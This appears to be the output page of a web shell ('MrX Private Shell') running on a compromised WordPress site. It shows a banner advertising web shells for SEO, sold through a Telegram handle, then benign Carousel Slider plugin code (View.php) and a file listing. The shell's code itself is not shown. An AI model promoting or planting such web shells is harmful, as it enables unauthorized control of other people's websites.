__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace CarouselSlider\Modules\VideoCarousel;
use CarouselSlider\Abstracts\AbstractView;
use CarouselSlider\Modules\VideoCarousel\Helper as VideoCarouselHelper;
use CarouselSlider\TemplateParserBase;
defined( 'ABSPATH' ) || exit;
/**
* View class
*
* @package Modules/VideoCarousel
*/
class View extends AbstractView {
/**
* Render html view
*
* @inheritDoc
*/
public function render(): string {
$setting = $this->get_slider_setting();
$slider_id = $this->get_slider_id();
$urls = get_post_meta( $slider_id, '_video_url', true );
$urls = VideoCarouselHelper::get_video_url( $urls );
$template = new TemplateParserBase( $setting );
$template->set_template( 'loop/video-carousel.php' );
$html = $this->start_wrapper_html();
foreach ( $urls as $url ) {
$item = new Item( $url );
$template->set_object( $item );
$html .= $this->start_item_wrapper_html();
$html .= apply_filters(
'carousel_slider/loop/video-carousel',
$template->render(),
$item,
$this->get_slider_setting()
);
$html .= $this->end_item_wrapper_html();
}
$html .= $this->end_wrapper_html();
return apply_filters( 'carousel_slider_videos_carousel', $html, $slider_id );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Helper.php | File | 2.92 KB | 0775 |
|
| Item.php | File | 1.56 KB | 0775 |
|
| Module.php | File | 3.13 KB | 0775 |
|
| Template.php | File | 1.59 KB | 0775 |
|
| View.php | File | 1.21 KB | 0775 |
|